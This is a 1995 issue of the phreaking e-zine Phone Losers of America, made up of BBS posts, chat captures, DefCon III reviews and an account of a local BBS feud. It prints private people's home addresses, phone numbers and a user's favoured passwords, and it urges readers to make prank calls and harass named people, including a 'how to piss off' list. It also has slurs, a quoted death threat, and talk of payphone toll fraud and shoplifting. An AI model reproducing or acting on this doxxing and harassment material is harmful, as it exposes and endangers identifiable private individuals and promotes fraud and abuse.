Subj : red boxing

To   : All

From : L�XV�X�N (EXiLE) #1

Date : Fri Aug 04 1995 09:29 am CDT

RE: red boxing

BY: Fed Clad Madagascar to All on Fri Aug 04 1995 07:49 am

I can't get my recorded tones to work. I have used:

-Quarter.WAV

-P-80 Tone generation utilities

-Tone-dial

and about 4 other tone generators. They won't work. I am doing it wrong, and was wondering if anyone could explain their methods of redboxing other than recorded tones and the tonedialer. If anyone knows where I can buy a redbox, please post the place's number!

[During chat, he told me how he bought a Radio Shack tone dialer and a crystal and tried to solder the crystal in but ended up burning a hole in the circuit board. I told him to go exchange the tone dialer and say it doesn't work and he said that'd be really stupid because they have his name, address and phone number on the receipt. I didn't even bother asking him why he didn't use false information.]

Subj : Warez! I'll show you warez!

From : L�XV�X�N (EXiLE) #1

Date : Fri Aug 04 1995 09:32 am CDT

AOL is the place for warez. They have the l8test stuph. I have a phull mailbox. I have so many warez at my disposal. I have a bunch of free packages if anyone is interested. Getting them from me is a hell of a lot easier than getting them from AOL.

[Roy's Place has a special sub just for Mr. Hack called "Mr. Hack Thinks He's Sneaky." Here's a couple posts from that sub...]

Name: Scorpion #13 @1

Date: Tue Aug 01 13:52:08 1995

Don't all you Sysops feel jealous now because I got Phil trying to call my board now using the name EntintyX and saying he runs the Telco X Phreekers groups hehehehehe. When I said go away Phil he goes who's Phil so I had to remind him about the 9600 and the fact that he used the same PW "rodney"  So in conclusion the title says it all Mr. Phil "thinks" he's sneaky.

Scorpion

[Scorpion compiled a list of passwords that Mr. Hack likes to use...]

Rodney             John              Mark            Macdad       Jake Jones

Jack Jones         Intity X          Weirdo          Reset        Lonely

VMX                Phreeker          Inet            Diskdrive    Lordchaos

[Eight Ball had the pleasure of chatting with L�XV�X�N one night and was nice enough to send the captures to me...]

8B: You know you made the PLA's loser list?

LX: What? What's that? I know my popularity has gone down but I don't know what that is. [Yes, he really said this.]

8B: The loser list is PLA #7 it's a list of people's real names and info and they distribute it so I wouldn't be surprised if you start getting prank calls from Alaska.

LX: Well, I think the PLA is more talk than action. All they can do is harrass people on the phone all day, but they aren't true phreekers.

8B: Oh yeah? You haven't talked to Deter or Chris Tomkinson have you?

LX: No, why should I have?

8B: Oh you'll probably see when the PLA do what they did to them to you.

[Nobody is sure if L�XV�X�N is trying to be elite or he just doesn't know how to spell the word Phreeeeker.]

Subj : Kermit

To   : All

From : Marlboro Man #33

Date : Sun Aug 06 1995 06:32 pm CDT

Kermit is a buttfucking homo inbred.  I caught him in bed with his dad, but

Title:

Enter message now (50 lines max). Type /? on a new line for menu.

----+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+--

Oh, be fucking quiet, Hit Man. Why do you use 12,000 different aliases everywhere? Are you trying to be sneaky like Mr. Hack? You know what's really pathetic is that I logged on to this bbs just to see what it's like and it's the most harmless, stupidest, lamest thing I've ever logged onto in my entire life. First I tried under my real name, RedBoxChiliPepper, but Mr. Hacky wouldn't validate me and then I went under this fake alias of Fed Clad and told Mr. Hack that he couldn't voice validate me because I was tapping into the beauty parlor's line downstairs cause I didn't have my own phone and you know what? The idiot believed me! Anyways, I suppose I'll be deleted, oh well. Have fun writing your k-rad SYNDICATION. I can't wait for THAT one to come out!

Kermit? You're about the fucking stupidest person I've ever seen on a bbs. I just think you should know that. And the guy who's starting the amazing SYNDICATION? You're just about as bad. Phreaking does NOT mean going abround and blowing shit up. And Mr. Hack? Can you say "call waiting?" I knew you could!

/s

What's even worse is their hack line at 618-397-7729...

Thank you for calling TWi$TäD RäAœiTY, another fine Synchronet BBS...

Other Info On The 618 Area

Well, as if anyone cared, that's the rundown on what the 618 area is like. As I said before, DON'T move there, under any circumstances! As if any of the above three articles aren't convincing enough, it gets worse...Brent Deterding lives in 618! That's right, DETER! Also known as the guy who's home phone number is 618-288-9652. There are a few good bbses, though.

Roy's Place (618-797-2339) for one. The original headquarters for the PLA and operated by Zak aka El_Jefe. With truely great message topics such as the "Mr. Hack Thinks He's Sneaky" sub and "I wish I lived in Roy, New Mexico!"

Then there's the Cocktail Lounge at 618-451-8048, Martini's board, the one who wrote those wonderful, enlightening poems about Deter & Chris Tomkinson. And the place where the whole Greg Carson/Hit Man war started from.

A couple other good ones are Bogus Journey (618-656-7266) run by Andromeda and Twist of Cain at 618-876-6042. I would put the 618 area bbs list here but since this PLA is already way too long, I'm going to leave it out. Hope you enjoyed these. (Who am I kidding...) Stay tuned next issue when we take a look at BBSing in Roy, New Mexico! (ahem...not)

How To Piss Off RedBoxChiliPepper - by Colleen Card

Fun things to do when you call his board, or his house (If you happen to know how to get that number.) things to mail, things for fun. Revenage on The Cactus has just begun!

1. Call up his board and page him to chat. Then if he ever does chat with you type in all CAPS or lower case. (Actually this would probably bug alot of people.)

2. Call up his house day and night and ask to borrow cans of Spam, cups of suger, and other stupid things that aren't funny just lame!

3. Call his house and tell him Zak is coming to visit AAAAARRRRRRGGGGG!

4. Drop by his house unexpectedly alot and time him on how fast it takes to open the door.

5. Mail him a HUGE box full of styrafome.

6. E-Mail him Ansi.

7. Take a few days off work to stay home and watch the Sesame Street 72 hour marathon. (He get's bored after the first 24 hours.)

What The Community Is Saying About PLA!

Erik Bloodaxe: "What a bunch of dumbasses..."

Jim Bayless: (Hysterical laughter, incoherent mumbling and face twitching)

Gail [Thactery]: "They're so pathetic and harmless, even I wouldn't dare to try and prosecute them."

Scott The Believer: "May the lord help them on the path to recovery."

Greg Carson aka The Hit Man: "I'm gonna fly down to Texas this weekend with my dog and KILL that fucking idiot!"

Mr. Hack: "You know, I think they're pretty cool..."

Tr1be: "y0y0y0y0y0! You think the PLA will write a text file that will detail how to turn on your modem?"

Mr. Rogers: "Can you say `stupid'? I knew you could!"

And This Issue's Feature Loser/Dork/Gimp is... (Drum Roll Please!)

Andy Babin!

It's been a tough one to decide, with nominees like Scott The Believer, Chatty, and Kevin Christmas/Jack The Ripper (who is long overdue, by the way!) but Andy Babbin has got to be the biggest idiot this side of the world. I'm sure that Hit Man could have made it here if I hadn't decided to dedicate an entire article to him. Too bad, Hit Man, maybe next time...

Who Is Andy Babin and How Did He Cross Paths With PLA?:

The whole Andy thing began when a friend was over and we were bored so he says "Hey, let's call this girl I know...Anna!" So we give her a call but rather than her answering, her brother Andy answers. So I give him the usual harrassment and the only part of the conversation I really remember is:

ANDY: "You know, I could shoot a chocolate chip off the tip of your penis from a thousand yards?!"

RBCP: "What??"

ANDY: "You heard me."

RBCP: "Uhhh, Andy? That really wasn't that funny, I think you need to work on that one or something."

ANDY: "But it's true, though!"

I never did figure that one out so the next day I ask my friend in e-mail about Andy and I get the following reply: (More of a thesis than a reply if you ask me!)

"Andy is Anna's older brother who is like 26 and still lives with mommy and daddy.  Anna graduated last May with my class.  Anna believes very much in supernatural happenings and wishes to be a part of anything mysterious or would otherwise make her believe to have supersensory powers. Andy Babin is 'all man' in his book.  There's not a deer he can't shoot cause their ain't a gun he don't own.  He likes to burp, fart, drive a red and white ugly truck with a big camper and Anna drives an old Chevy Celebrity.  Andy is crude, obnoxious, and fitting of the stereotype you were exposed to by talking to him on the phone.  Her dad is hard core into short wave radio and her mom...well, I think she likes to play a round or two of that Windows Jezball and Windows Tetris before taking herself and Anna to Catholic church where Anna is in the choir.

Well...that's about all the information I could think of that could in the  slightest be possibly relevant. There is a guy named Matt in Austin that she's lusted after for years cause they were on the 'same wave length' and she regretts losing contact with him if you REALLY wanna be cruel..hehe...anyways. I'll owe you if you really do something spectacular!" END OF MAIL.

Kind of sounds like a suped-up Dino Allsman, eh?

How Can I Get In Touch With Andy Babbin?:

Well, if you're not able to find Andy at your local NRA meetings, you could write him a letter at Andy Babin, 6702 Whitewing Dr., Corpus Christi, TX 78413 or you could call him at 512-991-0217. If he's not home then Anna is always willing to talk, especially if you three-way on a 900 psychic line.

This Issue's Featured Support Sites

Here are the systems that have decided to throw out all their morals and carry the Phone Losers texts on their computers since the last issue. See if YOU can make this list by next issue! Also at the end of this text you'll find our new FTP site which has a very extended text & zine section as well as the new Web page which has been provided by the editors of Delirium. Thanks, Apothesis!

Geez, what's with this sudden 618 surge?? Guess it's the Chatterbox publicity. If you're a PLA site and haven't been added to the list yet, e-mail me! And if I forgot to ad you to the list, tough doo doo.

219-365-1096 Suburban Wasteland - Crown Point, Indiana

403-342-1458 Plad Banana - Red Deer, Alberta, Canada

408-883-9535 Land of Rape & Honey - California

409-899-5793 Stinky's Bar & Grill - Beaumont, Texas

410-437-3858 Command Tech - Pasadena, Maryland

510-935-5845 Temple of the Screaming Electron - California

601-332-2446 BadLands - Greenville, Mississippi

607-785-1427 Up In Smoke

618-451-8048 Cocktail Lounge - Granite City, Illinois

618-667-8363 The Corner Pocket - Troy, Illinois

618-746-0049 Birdland - Scott Air Force Base, Illinois

618-876-6042 Twist of Cain - Granite City, Illinois

618-877-5348 Total Chaos - Granite City, Illinois

708-251-3868 Poison Pen - Chicago Area, Illinois

801-278-2699 Lies Unlimited - Utah

803-772-3893 Hacker's Heaven - Columbia, South Carolina

International Sites:

+44-1-91-454-6978  The Doc - South Shields, England

+32-2-757-0776     Digital Fuse – Belgium

---Phone Losers Of America Headline News---

Here's an interesting news article submitted by Apotheosis of Delirium:

TRUE MORTIFICATION: AT&T mailed information on their "True Rewards" program to 175,000 customers. But when patrons called the printed toll-free number to get details, they were greeted with "Are you ready to get naked? If you want hardcore, uncensored, explicit sex now, then come and -- mmmmm -- take it!" Apparently, a printing error substituted AT&T's number for a phone sex number. "People have been calling and expressing their dissatisfaction," an AT&T spokeswoman noted. But not everyone is dissatisfied: "It hasn't been bad for business," said a spokeswoman for Amtec Communications, the company that provides the phone sex service. (AP) ...No, really: I'm just calling so I can get more frequent flyer miles.

[Here's some article I found in the Corpus Christi Caller Times...]

The classic victims of service automation are probably telephone operators. At one time, every call required a human switch, but then, as calling volumes surged, massive automation was required. The number of operators has dropped to 60,000 from 250,000 in 1956 and is still dwindling; in the past 15 months alone, AT&T Corp. has slashed its total by 25 percent. The sheer pace of automation takes its toll. "It seems like every day they're telling us there is something new to 'mech,'" says Addie Brinkley, an AT&T operator since 1957 in Modesto, California.

"I took a year of Spanish in high school and I only know enough to harrass the AT&T operator."               -Zak

"I love being a shit."   -RBCP

Classifieds

Psychic Sadomasochists  Hotline!  Coming soon!  Real BDSM lifestyle  participants who are  also versed in  various psychic arts will  be offering telephone consultations. Call 1-800-4-FETISH for further information  on all  your  fetish needs!

HELP WANTED: Fairfield Inn in Fairview Heights, Illinois has openings for a new night man! Please call us at 618-398-7124  or 618-398-7189 to schedule  your interview today!  Or drop by  140 Ludwig  to fill out an application.  The last  fucker that worked here, Greg,  kept having his little friends call here and bother me and all the other employees. Not to  mention how much he  ran up our phone  bill with all  those 900 sex line calls.  Can YOU keep your mind on your  work?  If this sounds like the  job  for you,  please stop by!

Do you have experience with telephones? Southwestern Bell NEEDS you! Now accepting applications for security personell. SWB  has had  major  problems with  huge surges in fraudulent calling and we need your  help in catching these fiends.  If interested,  call Ken at 1-800-800-8900.  Refs  &  background  check   required...

You too can put your own ad in the PLA Classifieds! All you have to do is send your ad to the classified department at  rbcp@big12.metrobbs.com  or you could phone in your ad at 512-703-8910. Ads are $60 a word and all  charges  will be  billed  to your  parents.

Like,  everybody have a fucking  great  time at Defcon  without me. I'm too   fucking  poor  to make it this year.-DTMF

*** KEVIN CHRISTMAS EATS IT! ***

Are you lonely? Do you have absolutely no friends at all?  Do you enjoy hanging out on illegal 800 confs,  but you're so lame that  nobody will give  you conf info because all you  do is tone at them?  Well, have  I got  the line  for you!  Call the DefCon Voice Bridge at 801-855-3326. Even though toning doesn't  work so well,  you can still  sit there and play your K-Cool MOD files,  yell at people  and tell them all how lame they are  and that they know nothing  compared to you.  Call it today!

Pinkerton Rent-A-Cops are now taking applications for armed  guards at  many  local AT&T  buildings to stop kids  from breaking  into the AT&T  vans and  romping around  in trash bins. Help is needed immediately  so apply today.  901k plan, benefits,  all you can eat donuts, $4.26 / hour. For more information call  Pinkerton  at  618-397-7729.

WANTED: Submissions for PLA95FAL.TXT! The new updated PLA Phone Directory is going pretty good but I still need some more numbers for it. Also needed are cool FTP sites, web pages and internet e-mail addresses. Send anything! RBCP

Contact The Phone Losers Of America Nearest You!

Voice:

512-703-8910 PLA Voicemail System

314-995-1261 Zak's VMB System

Data:

618-797-2339 Roy's Place

512-883-7543 Whombat Communications

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Sites/Web Sites:

FTP.FC.NET............pub/deadkat/phreaking/PLA

ETEXT.ARCHIVE.UMICH.EDU...pub/Zines/PhoneLosers

HTTP://www.compumedia.com/~jnoonan/PLA

Internet:

rbcp@big12.metrobbs.com (To contact RedBoxChiliPepper)

cactus@basenet.net (To contact Zak a.k.a. el_jefe)

collcard@big12.metrobbs.com (To contact Colleen Card)

Issue #035

Completed On September 10, 1995

TABLE OF CONTENTS:

1. Introduction - RBCP

2. Review of DefCon III - by Apok0lyps

3. Review of DefCon III - by Roy

4. Follow-up on the 618 Scene - RBCP

5. The Birth of "Cactus" – RBCP

6. Dealing With False Classified Ads - RBCP

7. This Issue's Featured Support Sites

8. Police Log

Introduction – RedBoxChiliPepper

Well, here it is, issue thirty-five, the final issue of PLA. It's been fun but unless someone else decides to take over, which is doubtful, this will be the last issue ever. Thanks goes out to everybody. Oh, wait, I'm just kidding, PLA's not really shutting down. I bet I got your attention, didn't I?

*FREE DISKS!* *FREE DISKS!* *FREE DISKS!* *FREE DISKS!* *FREE DISKS!*

There's a great company out there that's giving people FREE 3 1/2" computer disks with absolutely no cost or obligation and no salesman will call! And what's even better is that the company provides a toll free number to call in and get your free disks with. The only catch is that you can only get one disk at a time. You may have heard of the company, it's called Amerika On-Line! (stop ralphing!) You can order a few disks a day by calling 1-800-827-6364 and expressing an extreme interest in becomming an AOHell subscriber. Stop paying for those computer disks, they can be free, dammit!

I finally got around to reading Masters of Deception by Michelle Slatalla and Joshua Quittner. Good book, funny, informative, who cares if the story was really accurate, it was good reading. There's just two parts in it that I can't help bringing up. One quote was, "One kid might know how to make a wicked blue box, a device cobbled together from top-secret Radio Shack parts that simulated the tones of coins dropping into a pay phone..." and the other part tells about one of the guys playing with a phone in a book store and finally gets to make a free phone call by using his tone dialer to dial the number he wants. Easy to do, but the author describes, "The device he uses is a tone dialer, which emits a noise that simulates the sound a pay phone would recognize as coins dropping into a slot." Guess they should have done a little more research before they released the book. Other than that, good reading. Go out and shoplift your copy from Waldenbooks today!

Me & Colleen Card are in the process of relocating from the stinky town of Corpus Christi, Texas to someplace less smelly. We still haven't decided exactly where but hopefully it'll be someplace where more people speak English. If you're one of the few who use our post office box, you can still write to that address and mail will be diverted for us to pick up. By the next issue we should be moved. (As of this writing we're vacationing in Illinois, ya-hoo.) Oh, this also means that my bbs, Whombat Communications went down but I backed everything up on disk so I'll most likely put it back up in a few months so don't throw away your passwords yet!

This issue features reviews of Defcon, the meaning of "cactus" and a follow-up on the 618 scene from the last issue. A reporter was actually desperate enough for material to run a story on the PLA. He's probably out of a job by now, poor sob. So sit back and enjoy the issue. Better yet, just delete it, it's not worth reading. Who am I trying to fool?

Review of DefCon ]I[ - Apok0lyps

Friday Aug. 04 aprox. 12:00: We arrive at the Tropicana Hotel. Check in took FOREVER as we had to stand in a really long line and get checked in. They made us pay a $50.00 damage deposit on the room. We complained, but oh well.

13:00: We get the room, put our shit away, and head on down to the con room. Not too many people had shown up yet, only about 250 reg'ed at that point. Paid the $40.00 and got da 0day ID badge. werd.

13:40: I head to the Tropics Bar (one closest to the con room) and begin to order beer. Sat and drank like two and met Alex Deluge. He was pretty cool.  About seven beers later, El_Jefe (Zak) shows up with Xn4rk. He was also pretty cool. We started to mess around with the video poker machines. Xn4rk has this idea that chaos theory has something to do with the winnings. We proceed to drink and conduct "experiments" to the tune of about $12.00 & no one won shit.  Started to get loaded.

15:00: I depart the bar and head back to the con room. Looked around for a while and got the latest 2600 mag. Pretty good, pick it up. Milled around and met Novocain.

16:00: Got some food, got some sleep.  By now the time thing is kinda blurry, so here's the rest in a nutshell (or nut case) Hacker Jeopardy started at Midnight and was loads of fun. I would dare to say the best event of the whole con. Questions ranged from stupid to elite, but the beer flowed and free stuff abounded. Round one was a riot as we watched little kids fight for t-shirts and beers. This event hosted by Winn Schwartau, lasted till like 3am.  The con closed for the night and me and some people went to hack KU.

Here are MY awards picks for best things at DefCon ]I[:

Best Speaker: Robert Steele (ex-CIA) Topic: Hackers are the country's biggest asset. Kept me very intrested. I'm gonna try to get a copy of his notes from him.

Most Entertaining Speaker: Deth Vegetable (cDc) Topic: The Media Sucks Made me laugh, Also took questions about Mr. T!!

Most Informative Speaker: Koresh Topic: Hacking a Job. I went away with a lot of good info on that one.

Lamest Speaker: Stephen Cobb Topic: Why Hacking Sucks.

Best Event of DefCon ]I[: Hacker Jeopardy. Free Beer, free stuff, and El_jefe managed to win a lot of shit.

Worst Event of DefCon ]I[: Susan Thunder's Mitnick Party. I didn't go, but I think only three people did.

Best Quote: (not sure who said this) "If you were a woman and had a plastic penis, I would touch your nose."

Most Commonly used words by Dark Tangent: "Awwwwwwww Yeah!"

Most Commonly used words by everyone else: "Throw it!!"

Friendliest People: Alex Deluge, Xn4rk, Magsusa (hope I spelled that right) Dead Addict and Novocain.

Best Hotel Employee: Thomas. (Offical PLA bartender)

Most Creative Outfit: Whoever was dressed like Chun Li.

Other Quotes:

"Here, have one of those beer things." - El_jefe

"Alex Deluge: I LOVE those beer things!!" -Alex Deluge

"Whoever's got floor space, I'll give them k0dez!" -Capt. Hook

"Ok, ticket number 317 wins Dark Tangent." -Death Vegetable

"Throw him!!!" -Crowd

Greets go out to: DHATE (see ya at H0H0), Alex Deluge, Drew from SGI for getting us the Holy Cow (moo), Thomas, RBCP and Colleen Card (see ya at H0H0 as well) and that's it for me!

Review of DefCon III - by Roy

Hi, my name's Roy, and last week I went to that DefCon3 thing that was in Las Vegas. I heard about all the wicked things and the sinners there so I made sure to bring my bible. I packed everything in my Ford Motherfucker sometime around January so I would be there on time. I got to the Tropicana Hotel around 1pm on Friday afternoon, and got my room so me and my gerbils could get a little privacy over the weekend.

When I went to the convention room I about fell over when I saw the carpet, it was this beautiful tropical floral pattern with lots of pretty colors! I LIKE pink and greeny things. Someone was going around trying to give me a copy of a Hustler disguised as a 2600 magazine, so I had to mace him just like they taught me down at the YMCA.

That silly man, Dark Tangent made my gerbil pay to get in even though he would just sit in my pocket until I found a cardboard tube. I read that cute little program thing and it said something about hackers playing Wheel of Fortune. Since Pat Sajak is my favorite person in the world I went, but I wondered why he would play Wheel of Fortune at midnight. He must be crazy nuts! I think they should have called the police about this game. Some crazy young man was throwing things at the audience and trying to hurt us for some reason! He was throwing beers to people without making them throw ID back up so he could see if they were 32.

I drank half of one of those beer things and I went wild! I don't know what happened then but I remeber passing out on that beautiful hotel carpet, and waking up in my room with a broken gerbil next to me. I guess I'd have to visit the pet store later. I tried to get the bartender to quit selling beer and even showed him the bible, but he just threw ice cubes at me. I know SOMEONE who's going to hell.

I bought some beef jerky and went to the convention room. I noticed some guy talking into a microphone but got totally distracted by the beautiful curtains outside! Between the curtains and the wallpaper, I had to go back to my room and change my pants. I felt so awful about doing that, that I had to order some butter and chives from room service and rub them all over myself and everything else in the room before things got better.

Me and my gerbil went into the convention room the next day and someone was talking about something but I didn't care, I had to go to the toilet so bad, it just wasn't funny anymore. I found the nearest bathroom and barred the door shut for aboout three hours, and the whole time I was in there I danced all over the toilets. When I came out, a guard was waiting for me and he beat me sensless with his billy club, and that was kind of fun too! Finally, he just gave me a shoe in the ass and sent me back to the convention room where I hid in the curtains for the rest of the evening.

The toilets at the hotel were so pretty! I wish I could have taken one of them home with me and mounted it on my 1986 Ford Motherfucker. About that time I realized I had to go back home to New Mexico and feed my gerbils and check to make sure that those kids didn't take my bubble mower or change the greeting on my answering machine like last weekend. I went home and the neighbors told me I was crazy nuts with piss in my pants for going to such a sinful town as Las Vegas, but I brought all my shoes and glasses so it was ok.

Follow-up on the 618 scene:

If anyone actually bothered to read all of PLA034 you probably remember us leaving the 618 area code in total disarray and confusion. Well, a few more developments have happened since that issue and here they are. First, we bring you Scott The Believer's post shortly after PLA034 came out. This was posted in the Sysop Announcements Sub (Wed Aug 09, 1995):

Well, It is true. We are shutting Chatterbox dowm Permanently, we are pulling the plug on the Computer at Midnight this Saturday night (8-12-95). I really hate to do this, Mostly it has been fun and a joy to run this BBS. Chatty has done an excellent job for a newbi sysop to keep things running well, and the board interesting and entertaining. AND most of the users here have been really good, posted a lot, played games, had a good time in general. Why then must we shut it down then? I hear all you good users out there asking yourself that question. Well, along with the good users, there have also been a few "Not so good users" out there. They are the ones to spoil it for the rest of you. We have had so many problems in the past few weeks, it is not even funny! We have had users that thought it would be great fun to "STEAL" the users list from here with everyones passwords, phone numbers, address's, ETC and then upload it to other boards. We have had users that would call us voice here at all hours of the night with harrassing calls. We have had a user upset over giving out his phone number to another user (Eventho everybody has our users list by now).

We had users ASK to be deleted, then keep trying to log back in as new. We have deleted users who refused to conform to our NO CUSSING rule here, then they got mad at us too. It has just turned into way TOO much hasstle lately. It used to be fun to run this board, but lately it has turned into a BIG headach taking up too much of my time trying to keep users happy, that we have decided to just turn it off, PERMANENTLY! It becomes effective this Saturday night (8-12-95) at Midnight. Chatterbox will no longer be around.

For you good users, we are really sorry it has come to this. We appreciate all that you have done to help make this a fun BBS. I am sorry the situation has come to this. And I want to thank all of you good users for your participation in all that this board has to offer. If you could, please post on other boards that Chatterbox has permanently gone down, to rise no more, ok? Just to inform any users that don't log on and read this by Saturday what happened. Thanks.

Scott The Believer

PS- any replys (Posts or E-mail) is welcome, and Chatty will probably follow this with her own post about the situation.

[And before that post, Apok0lyps had gotten the following private mail...]

Name: Scott The Believer #2

Date: Wed Aug 09 06:19:24 1995

I am unpopular in the area? Never had any problem before, and I have BBSing for about 6 years now. I always got along pretty good with most everyone, never had a fight with anyone, except 1 sysop who I asked to be deleted from their system and they balked about removing my name from their system. I have had discussions about abortion with a few, but NO real fights. So I sure didn't know that I was unpopular around here. The only people I have had unpopular dealings with are the users of this board, namely Martini, Zak, Zensless1, and a few others I have deleted from here. The way I see it the whole problem started here with this board, and it is gonna end here and now with this board.

I thought Amanda was doing a good job making a decent entertaining BBS, when I Dark Requim, I thought we really had a better board than they did. We sure got a lot of calls, 30-35 a day average. I really thought Amanda was doing an excelent job as a newbi sysop. BUT The buck stops here! I too am depressed about this whole incident, it IS boring. But I can stop it at any time. AND Amanda's Mother and I have made the decision, we will NOT put up with all these hasstles anymore. So we are shutting Chatterbox down, Permanently! Midnight this Saturday night is the day and time we pull the plug on Chatterbox. I am sorry to have to do this to Amanda, she really enjoyed runnning a board, but I have had enough midnight-3am calls, new users trying to call in saying OBSENE things in the LOG about Amanda as passwords. I am just sick of this whole month LONG incident that just won't stop. RBCP putting my Apology in one of his PLA text's is the capper, I am sick of him, his childish pranks, and putting my Apology in there was WHAT finally made me decide to do it. So as of Midnight this Saturday night, Chatterbox is History, Permanently. Don't bother calling anymore, it will not be amswering anymore after Saturday....End of discussion.

[Needless to say, everyone at Cocktail Lounge and Roy's Place thought this to be really hilarious and everyone counted down the minutes until they went down. Apok0lyps actually managed to get himself deleted about a half hour before the bbs went down but I forget why. Lighten up, Scotty! :) Mr. Hack is still running his amazing phreeeekers' bbs. Here's a chat session submitted to me by Scorpion (with Mr. Hack, using a false account):

HACK: i am the god dam exile!

SCOR: oh ok why do you let people bash you?

HACK: because they r just lamerz who got kiked out of their sisters ass!!

SCOR: What I was wondering is why do you have so many enimies?

HACK: BECAUSE WE ARE THE ELITE AND THEY ARE NOT AS GOOD AS US SO THEN THEY TAKE PROPER ACTION OF JEALOUSLY AND SAY THAT WE DONT KNOW ANYTHING SO DONT FUK WITH US..........NOT NECCESSARILY MEANING U!!

SCOR: Whats that pol group?

HACK: PAL?    [PLA, of course]

SCOR: something like that I always see them bashing you?

HACK: THAts just  BECAUSE THEY R JEALOUS!

SCOR: Oh so there not really a cool group?

HACK: FUK NO!

SCOR: oh what group were you starting?

HACK: OUR PRIVATE GROUP IS THE BRANCH OF THE n.O.c WHICH WUZ ALSO CREATED BY US ALSO! R SPECIAL GROUP IS CALLED D.e.k!

SCOR: Are you a really good hacker?

HACK: sORRY DUDE, GOTSTA GO TO SOME CHIKZ HOUZE. L8z!

SCOR: ok btw is it true the Deter gives it to you up the ass?

[After that, Mr. Hack hung up on him. (Can't imagine why) But PLA is taking donations so that we can help our friend, Mr. Hack buy a new keyboard. His CAPS lock seems to be stuck or something.

And Greg Carson? He's not had a good month and he no longer posts on bbses at all, just calls them up and does new message scans to see if we're still talking about him. Here's a couple of posts by Zak that I found slightly hilarious:]

Name: Zak #21 @6851

Date: Wed Aug 09 00:51:39 1995     [To me...]

You're lame or something. Hey I got an idea, fly up here and live here again, and get plastic surgery to look like Greg Carson and we'll kidnap him and you can go to work as him and say "I am Greg Carson and I think you are a poo poo head" Then we'll ruin his life. You can rob banks as him and call people and hang up. Then we can beat up his skanky hillbilly wife.

Name: Zak #4

Date: Thu Aug 10 05:47:52 1995

I went into the hotel to sleep as it was very very late (about 2pm!) and greg pulled out a baloney sandwich and beat the shit out of me with it. I'm so scared of lunchmeat now.

[And here's a piece of private mail I got from him. I forget what we were talking about.]

Name: The Hit Man #370 @6851

Date: Mon Aug 28 22:10:34 1995

Use your mind and what would you say in my situation? I know nothing about you nor does anyone else (your real name even!) You move around alot it seems and I know when I ask questions that I will get no true answer, like your going to screw up and give me that information, but what should I say? WEll RBCP I guess I will talk to you later. well I guess I should say you suck or something but I dont want to start anything else between us. WEll bye-Dont worry I know you dont like me but at least we can talk like adults, right?

Go ahead capture it and show the world what a dumbass I am.

[I wasn't going to publish that e-mail but since he asked me to, I thought I'd give him a break since he's such a nice guy. But wait, that's not it...Greg, sick of a life of hell (not that I had anything to do with THAT) decided that since the police wouldn't help him, maybe the newspaper would so he called a reporter from the Belleville News Democrat in Belleville, Illinois and I started getting calls to my bbs in Texas from a guy named Grey Mouser. Here's some captures...]

Date: 3:32 pm  Wed Aug 16, 1995

From: Grey Mouser

To  : Redboxchilipepper

Hi this is grey mouset im a membe

Hi my name is grey mouser im a user at roys place. I want membership now :)

Date: 6:21 pm  Wed Aug 16, 1995

From: Grey Mouser

To  : Redboxchilipepper

Hey, Im a reporter and I want to talk to you about Cactus. my number is 618-234-8420 Call me tonight the story is running saturday and has to be filed tommorrow afternoon. My real name as im sure you know Is Brian. I want to talk to you about the cactus of Hitman, I want to get your side of things to make it a fair story.

[Considering his spelling & grammar, of course I was skeptical...]

Date: 6:35 pm  Wed Aug 16, 1995

From: Redboxchilipepper

To  : Grey Mouser

Get lost, Greg. If you want to hear my side of it, read PLA34.ZIP.

Date: 6:42 pm  Wed Aug 16, 1995

From: Grey Mouser

To  : Redboxchilipepper

You know for being a supposed Phreaker your not very bright, Im a reporternot greg, I have talked with greg and I am wwriting a story about him that will be running in Sunday's paper, my work number is 1-618-234-1000 extension 626, give it a try it starts with the newspapers name. Im here right now if you

want to talk.

[At this point during his mail, I broke in for chat...]

ME: What paper.

GM: The news Democrat in Belleville Illinois

ME: I'm not interested. Read pla034, okay?

GM: Well Ive read 0-32 but Im more interested in a interview, Im sure the other reporters were as well hooked as I am, I belong to elite/pirate and phreak boards all over the country.

ME: Why are you calling my 618 node then?

GM: Im not Im calling your 512-883-7543 number from 618

ME: Nope, the local 618 node is busy, I'm afraid and you're wasting my time. Whatever you have to offer doesn't interest me.

GM: What do you mean the local node, do you mean a call to or from a 618 number?

ME: You figure it out, you're wasting my time. If you want to download pla034 I'll let you stay on here, otherwise, goodbye.

[Then I dropped out of chat. His letter was resumed so he continued...]

Ok but dont blame me if the article seems slanted I have talked with three poeple who have been catused by the pla, I have tlkaed with the FBI, the corpus christi police and the local phone comapny. Im also talking to internet hackers at #hack and #virus. Ill just say you refused comment. But dont think this is greg, bk iit isnt.

[Cactused?? I guess he's trying to relate with us. After toddling around my bbs like a first grader, looking at files, reading messages and making the same stupid mistakes over and over he logged off. Anyway, I called up Roy's Place and checked out his account there and his validation feedback and here it is...]

To: Zak #1 @1

Name: Grey Mouser #59 @1

Date: Wed Aug 16 12:24:22 1995

RE: Validation Feedback (141 slots left)

Hey, I want elite/pirate access damnit :)

Anyway im new to the area and Im joioning all of the boardz aroud. I have elite access i boards all over the country, more specifically oregon, Maryland and Illinois and of course the net on #hack and #virus.

GM

[Well, it finally turns out that he is, in fact, a real reporter and has been going crazy nuts calling up everyone in the 618 scene asking what they knew. He also got ahold of a copy of PLA007.TXT and called everyone on the loser list and tried to interview them all. Colleen Card, Zak and Martini finally ended up on a four-way call with him and had a long conversation with him. Below is a copy of the article that appeared on the front page of the Belleville News-Democrat on Sunday, September 3rd, 1995. Next to the article was a color copy of PLAGIF04.GIF (the altered phone logos and Calvin in an LOD shirt). I put my comments on the story throughout the article in brackets...]

Metro-east Families Face Harassment By Hackers - by Brian D. Crecente

Seven metro-east families have been harassed by obscene and threatening phone calls, pranks and false telephone charges after running afoul of a computer hackers group. The victims are listed in a computer file distributed by a group called the Phone Losers of America. The victims believe they're on the list because at one time they may have angered one of two members of the group who have ties to the metro-east.

One of them is a leader of the group who used to live in Madison County and now lives in Texas and goes by the nickname "RedBoxChiliPepper." He appears to be the writer of the phone list and other computer files that deal with harassment or "cactusing," as hackers call it. Computer users can access the list simply by calling up a local information service called a bulletin board.

